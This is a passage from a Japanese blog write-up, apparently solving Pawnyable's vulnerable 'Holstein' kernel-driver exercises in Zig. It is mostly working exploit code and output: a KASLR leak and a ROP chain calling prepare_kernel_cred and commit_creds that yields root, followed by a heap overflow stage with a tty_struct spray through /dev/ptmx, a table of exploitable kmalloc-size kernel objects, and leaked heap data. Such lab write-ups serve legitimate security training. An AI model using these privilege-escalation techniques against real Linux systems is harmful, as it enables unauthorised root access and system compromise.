</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ropchain</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> file <span style="color:#00d3d0">=</span> (std.fs.File{ .handle <span style="color:#00d3d0">=</span> fd }).<span style="color:#feacd0">writer</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> bw <span style="color:#00d3d0">=</span> std.io.<span style="color:#feacd0">bufferedWriter</span>(file);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> writer <span style="color:#00d3d0">=</span> bw.<span style="color:#feacd0">writer</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeByteNTimes</span>(<span style="color:#79a8ff">&#39;A&#39;</span>, <span style="color:#00bcff">0x400</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">8</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeAll</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        POP_RDI,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        PREPARE_KERNEL_CRED,
</span></span><span style="display:flex;"><span>        POP_RDI,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        POP_RCX,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// make sub rsi, rcx a nop
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8,
</span></span><span style="display:flex;"><span>        ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8,
</span></span><span style="display:flex;"><span>        COMMIT_CREDS,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        KPTI_TRAMPOLINE,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>ret2win),
</span></span><span style="display:flex;"><span>        user_cs,
</span></span><span style="display:flex;"><span>        user_rflags,
</span></span><span style="display:flex;"><span>        user_rsp,
</span></span><span style="display:flex;"><span>        user_ss,
</span></span><span style="display:flex;"><span>    }));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> bw.<span style="color:#feacd0">flush</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">adjust_offsets</span>(kaslr_offset<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> gadgets <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>[_]<span style="color:#00d3d0">*</span><span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>POP_RDI,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>POP_RCX,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>KPTI_TRAMPOLINE,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>PREPARE_KERNEL_CRED,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>COMMIT_CREDS,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (gadgets) <span style="color:#00d3d0">|</span>g<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        g.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">+=</span> kaslr_offset;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p><a id="code-snippet--lk01-1"></a></p>





  
  
    

  
  
    
    
  

  
  
    
    
  

  
  
    





  

  





<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><a href="#code-snippet--pawnyable-lib">&lt;&lt;pawnyable-lib&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--lk01-1-ropchain">&lt;&lt;lk01-1-ropchain&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ret2win</span>() <span style="color:#6ae4b9">noreturn</span> {
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;You won!!&#34;</span>, .{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> args <span style="color:#00d3d0">=</span> [_<span style="color:#00d3d0">:</span><span style="color:#00bcff">null</span>]<span style="color:#00d3d0">?</span>[<span style="color:#00d3d0">*:</span><span style="color:#00bcff">0</span>]<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>{<span style="color:#79a8ff">&#34;/usr/bin/whoami&#34;</span>};
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> env <span style="color:#00d3d0">=</span> [_<span style="color:#00d3d0">:</span><span style="color:#00bcff">null</span>]<span style="color:#00d3d0">?</span>[<span style="color:#00d3d0">*:</span><span style="color:#00bcff">0</span>]<span style="color:#6ae4b9">u8</span>{};
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">execveZ</span>(<span style="color:#79a8ff">&#34;/usr/bin/whoami&#34;</span>, args[<span style="color:#00bcff">0</span>..args.len], env[<span style="color:#00bcff">0</span>..env.len])) {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">unreachable</span>,
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">leakBaseAddress</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">u64</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">0x408</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">8</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ret <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">bytesAsValue</span>(<span style="color:#6ae4b9">u64</span>, buf[<span style="color:#00bcff">0x408</span>..]).<span style="color:#00d3d0">*</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> ret <span style="color:#00d3d0">-</span> <span style="color:#00bcff">0x13d33c</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">catchSigsegv</span>(<span style="color:#00d3d0">&amp;</span>whoami);
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">saveState</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/holstein&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDWR }, <span style="color:#00bcff">0o660</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> posix.<span style="color:#feacd0">close</span>(fd);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> kernel_base <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">leakBaseAddress</span>(fd);
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Kernel base: 0x{s}&#34;</span>, .{std.fmt.<span style="color:#feacd0">bytesToHex</span>(<span style="color:#feacd0">bigEndianify</span>(<span style="color:#00bcff">8</span>, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>kernel_base)), .lower)});
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">adjust_offsets</span>(kernel_base<span style="color:#00d3d0">-</span><span style="color:#00bcff">0xffffffff81000000</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">ropchain</span>(fd);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>whoami
</span></span><span style="display:flex;"><span>./exploit</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1337
</span></span><span style="display:flex;"><span>[INFO] Kernel base: 0xffffffff81000000
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>root</span></span></code></pre></div>

<p><a href="/pawnyable/lk01-1.zig">完全なエクスプロイト</a></p>
<p>何故かよく分からないが、​<kbd>ret2win</kbd>​をジャンプした後で​<code>SIGSEGV</code>​を受け取ってしまった。
<kbd>swapgs_restore_regs_and_return_to_usermode</kbd>​はこの状況を避けるはずだったが、易きに付くことをしまし、そして​<kbd>sigaction</kbd>​でまた​<kbd>ret2win</kbd>​呼んでいた。</p>
<h3 id="v2-heap-overflow">v2: Heap Overflow</h3>





  
  
    

  
  
    









<details open>
  
  <summary>Diff</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span>10c10
</span></span><span style="display:flex;"><span>&lt; MODULE_DESCRIPTION(&#34;Holstein v1 - Vulnerable Kernel Driver for Pawnyable&#34;);
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>&gt; MODULE_DESCRIPTION(&#34;Holstein v2 - Vulnerable Kernel Driver for Pawnyable&#34;);
</span></span><span style="display:flex;"><span>31,32c31,32
</span></span><span style="display:flex;"><span>&lt;                         char __user *buf, size_t count,
</span></span><span style="display:flex;"><span>&lt;                         loff_t *f_pos)
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>&gt;                            char __user *buf, size_t count,
</span></span><span style="display:flex;"><span>&gt;                            loff_t *f_pos)
</span></span><span style="display:flex;"><span>34,35d33
</span></span><span style="display:flex;"><span>&lt;   char kbuf[BUFFER_SIZE] = { 0 };
</span></span><span style="display:flex;"><span>&lt;
</span></span><span style="display:flex;"><span>38,39c36
</span></span><span style="display:flex;"><span>&lt;   memcpy(kbuf, g_buf, BUFFER_SIZE);
</span></span><span style="display:flex;"><span>&lt;   if (_copy_to_user(buf, kbuf, count)) {
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>&gt;   if (copy_to_user(buf, g_buf, count)) {
</span></span><span style="display:flex;"><span>51,52d47
</span></span><span style="display:flex;"><span>&lt;   char kbuf[BUFFER_SIZE] = { 0 };
</span></span><span style="display:flex;"><span>&lt;
</span></span><span style="display:flex;"><span>55c50
</span></span><span style="display:flex;"><span>&lt;   if (_copy_from_user(kbuf, buf, count)) {
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>&gt;   if (copy_from_user(g_buf, buf, count)) {
</span></span><span style="display:flex;"><span>59d53
</span></span><span style="display:flex;"><span>&lt;   memcpy(g_buf, kbuf, BUFFER_SIZE);
</span></span></code></pre></div>
</details>

<p>今回はヒープ攻撃。
スタック上でのデータをリークしたり、リターンアドレスを書き換えたりすることはできない。
だが問題ない⸺カーネル構造体をきちんと上書きすれば、権限昇格ができる。</p>
<p>ヒープオーバーフローが​<kbd>g_buf</kbd>​の後ろに書き込むができるが、どうやって構造体を必ず直後に隣り合うように配置できる？
ヒープスプレーを使えば簡単だ。複数の構造体を確保すると、​<kbd>g_buf</kbd>​にあるスラブは構造体を配置する、結果的に​<kbd>g_buf</kbd>​の直後に構造体がある可能性が高い。</p>
<p><a id="code-snippet--heap-spray"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">spray</span>(fds<span style="color:#00d3d0">:</span> []posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">0</span>..fds.len) <span style="color:#00d3d0">|</span>i<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        fds[i] <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/ptmx&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDONLY, .NOCTTY <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span> }, <span style="color:#00bcff">0o660</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p>SLUB（カーネルのヒープ確保ルーチン）はslab確保ルーチンなので、同じくらいサイズの構造体を同じslabに配置する。
なので、約​<code>0x400</code>​バイトの構造体は必要。</p>
<p><a id="table--kmalloc-primitives"></a></p>
<div class="table-caption">
  <span class="table-number"><a href="#table--kmalloc-primitives">Table 1</a>:</span>
  SLUBの様々のサイズ帯pwnに使えるカーネル構造体 (<a href="https://www.usenix.org/system/files/usenixsecurity24-maar-slubstick.pdf?p=18">出典</a>)
</div>
<table>
  <thead>
      <tr>
          <th>Generic Cache</th>
          <th>Object</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>kmalloc-8</td>
          <td>pci_filp_private signalfd_ctx</td>
      </tr>
      <tr>
          <td>kmalloc-16</td>
          <td>afs_file aa_revision</td>
      </tr>
      <tr>
          <td>kmalloc-32</td>
          <td>vmci_host_dev seq_operations (cg cache) coda_file_info shm_file_data</td>
      </tr>
      <tr>
          <td>kmalloc-64</td>
          <td>snd_info_private_data snd_ctl_file</td>
      </tr>
      <tr>
          <td>kmalloc-96</td>
          <td>subprocess_info watch_queue vfio_container</td>
      </tr>
      <tr>
          <td>kmalloc-128</td>
          <td>dlm_user_proc</td>
      </tr>
      <tr>
          <td>kmalloc-192</td>
          <td>loopback_pcm snd_timer_user pp_struct</td>
      </tr>
      <tr>
          <td>kmalloc-256</td>
          <td>vhci_data snd_compr_file msg_queue (cg cache)</td>
      </tr>
      <tr>
          <td>kmalloc-512</td>
          <td>tls_context mousedev_client (<code>input</code> group)</td>
      </tr>
      <tr>
          <td>kmalloc-1024</td>
          <td>pipe_buffer tty_struct sock xfrm_policy nouveau_cli</td>
      </tr>
      <tr>
          <td>kmalloc-2048</td>
          <td>super_block perf_event (SELinux disabled)</td>
      </tr>
      <tr>
          <td>kmalloc-4096</td>
          <td>net_device</td>
      </tr>
  </tbody>
</table>
<p><kbd>tty_struct</kbd><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup><sup>, </sup><sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>は特に便利だね；​<kbd>const struct tty_operations *ops</kbd>​を制御できれば、そのttyで​<kbd>koioctl</kbd>​<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>を呼び出すでき、ACE（Arbitrary Code Execution）ができる。
また、ヒープのアドレスをリークすることができる。</p>
<p>後は2種類のリクが必要：カーネルアドレス（ROP gadgetのアドレスを計算為）とヒープアドレス（悪用の​<span class="inline-src language-c" data-lang="c"><code>struct tty_operations *ops</code></span>​のアドレスを分かり為）。</p>
<p><a id="code-snippet--lk01-2-dump"></a></p>





  
  
    

  
  
    
    
  

  
  
    





  





<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> std <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@import</span>(<span style="color:#79a8ff">&#34;std&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><a href="#code-snippet--heap-spray">&lt;&lt;heap-spray&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> ttys<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">100</span>]posix.fd_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> <span style="color:#b6a0ff">for</span> (ttys) <span style="color:#00d3d0">|</span>tty<span style="color:#00d3d0">|</span> posix.<span style="color:#feacd0">close</span>(tty);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">spray</span>(ttys[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">50</span>]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/holstein&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDWR }, <span style="color:#00bcff">0o660</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> posix.<span style="color:#feacd0">close</span>(fd);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">spray</span>(ttys[<span style="color:#00bcff">50</span>..]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">0x400</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">0x100</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> [_]<span style="color:#6ae4b9">u8</span>{<span style="color:#79a8ff">&#39;A&#39;</span>}<span style="color:#00d3d0">**</span><span style="color:#00bcff">0x400</span> <span style="color:#00d3d0">++</span> [_]<span style="color:#6ae4b9">u8</span>{<span style="color:#00bcff">0</span>}<span style="color:#00d3d0">**</span><span style="color:#00bcff">0x100</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> bytes_read <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">dumpHex</span>(buf[<span style="color:#00bcff">0x400</span>..bytes_read]);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<details open>
  
  <summary>Hexdump</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-hexdump" data-lang="hexdump"><span style="display:flex;"><span>00007ffed91dc3f8  <span style="color:#00bcff">01</span> <span style="color:#00bcff">54</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">01</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span>  <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span>  <span style="color:#79a8ff">.T..............</span>
</span></span><span style="display:flex;"><span>00007ffed91dc408  <span style="color:#00bcff">00</span> <span style="color:#00bcff">50</span> <span style="color:#00bcff">D3</span> <span style="color:#00bcff">02</span> <span style="color:#00bcff">80</span> <span style="color:#00bcff">88</span> <span style="color:#00bcff">FF</span> <span style="color:#00bcff">FF</span>  <span style="color:#00bcff">80</span> <span style="color:#00bcff">88</span> <span style="color:#00bcff">C3</span> <span style="color:#00bcff">81</span> <span style="color:#00bcff">FF</span> <span style="color:#00bcff">FF</span> <span style="color:#00bcff">FF</span> <span style="color:#00bcff">FF</span>  <span style="color:#79a8ff">.P..............</span>
</span></span><span style="display:flex;"><span>00007ffed91dc418  <span style="color:#00bcff">32</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span>  <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span>  <span style="color:#79a8ff">2...............</span>
</span></span><span style="display:flex;"><span>00007ffed91dc428  <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span>  <span style="color:#00bcff">38</span> <span style="color:#00bcff">58</span> <span style="color:#00bcff">0D</span> <span style="color:#00bcff">03</span> <span style="color:#00bcff">80</span> <span style="color:#00bcff">88</span> <span style="color:#00bcff">FF</span> <span style="color:#00bcff">FF</span>  <span style="color:#79a8ff">........8X␍.....</span>
</span></span><span style="display:flex;"><span>00007ffed91dc438  <span style="color:#00bcff">38</span> <span style="color:#00bcff">58</span> <span style="color:#00bcff">0D</span> <span style="color:#00bcff">03</span> <span style="color:#00bcff">80</span> <span style="color:#00bcff">88</span> <span style="color:#00bcff">FF</span> <span style="color:#00bcff">FF</span>  <span style="color:#00bcff">48</span> <span style="color:#00bcff">58</span> <span style="color:#00bcff">0D</span> <span style="color:#00bcff">03</span> <span style="color:#00bcff">80</span> <span style="color:#00bcff">88</span> <span style="color:#00bcff">FF</span> <span style="color:#00bcff">FF</span>  <span style="color:#79a8ff">8X␍.....HX␍.....</span>
</span></span><span style="display:flex;"><span>00007ffed91dc448  <span style="color:#00bcff">48</span> <span style="color:#00bcff">58</span> <span style="color:#00bcff">0D</span> <span style="color:#00bcff">03</span> <span style="color:#00bcff">80</span> <span style="color:#00bcff">88</span> <span style="color:#00bcff">FF</span> <span style="color:#00bcff">FF</span>  <span style="color:#00bcff">70</span> <span style="color:#00bcff">7D</span> <span style="color:#00bcff">73</span> <span style="color:#00bcff">02</span> <span style="color:#00bcff">80</span> <span style="color:#00bcff">88</span> <span style="color:#00bcff">FF</span> <span style="color:#00bcff">FF</span>  <span style="color:#79a8ff">HX␍.....p}s.....</span>
</span></span><span style="display:flex;"><span>00007ffed91dc458  <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span>  <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span>  <span style="color:#79a8ff">................</span>
</span></span><span style="display:flex;"><span>00007ffed91dc468  <span style="color:#00bcff">70</span> <span style="color:#00bcff">58</span> <span style="color:#00bcff">0D</span> <span style="color:#00bcff">03</span> <span style="color:#00bcff">80</span> <span style="color:#00bcff">88</span> <span style="color:#00bcff">FF</span> <span style="color:#00bcff">FF</span>  <span style="color:#00bcff">70</span> <span style="color:#00bcff">58</span> <span style="color:#00bcff">0D</span> <span style="color:#00bcff">03</span> <span style="color:#00bcff">80</span> <span style="color:#00bcff">88</span> <span style="color:#00bcff">FF</span> <span style="color:#00bcff">FF</span>  <span style="color:#79a8ff">pX␍.....pX␍.....</span>
</span></span><span style="display:flex;"><span>00007ffed91dc478  <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span>  <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span>  <span style="color:#79a8ff">................</span>
</span></span><span style="display:flex;"><span>00007ffed91dc488  <span style="color:#00bcff">90</span> <span style="color:#00bcff">58</span> <span style="color:#00bcff">0D</span> <span style="color:#00bcff">03</span> <span style="color:#00bcff">80</span> <span style="color:#00bcff">88</span> <span style="color:#00bcff">FF</span> <span style="color:#00bcff">FF</span>  <span style="color:#00bcff">90</span> <span style="color:#00bcff">58</span> <span style="color:#00bcff">0D</span> <span style="color:#00bcff">03</span> <span style="color:#00bcff">80</span> <span style="color:#00bcff">88</span> <span style="color:#00bcff">FF</span> <span style="color:#00bcff">FF</span>  <span style="color:#79a8ff">.X␍......X␍.....</span>
</span></span><span style="display:flex;"><span>00007ffed91dc498  <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span>  <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span>  <span style="color:#79a8ff">................</span>
</span></span><span style="display:flex;"><span>00007ffed91dc4a8  <span style="color:#00bcff">B0</span> <span style="color:#00bcff">58</span> <span style="color:#00bcff">0D</span> <span style="color:#00bcff">03</span> <span style="color:#00bcff">80</span> <span style="color:#00bcff">88</span> <span style="color:#00bcff">FF</span> <span style="color:#00bcff">FF</span>  <span style="color:#00bcff">B0</span> <span style="color:#00bcff">58</span> <span style="color:#00bcff">0D</span> <span style="color:#00bcff">03</span> <span style="color:#00bcff">80</span> <span style="color:#00bcff">88</span> <span style="color:#00bcff">FF</span> <span style="color:#00bcff">FF</span>  <span style="color:#79a8ff">.X␍......X␍.....</span>
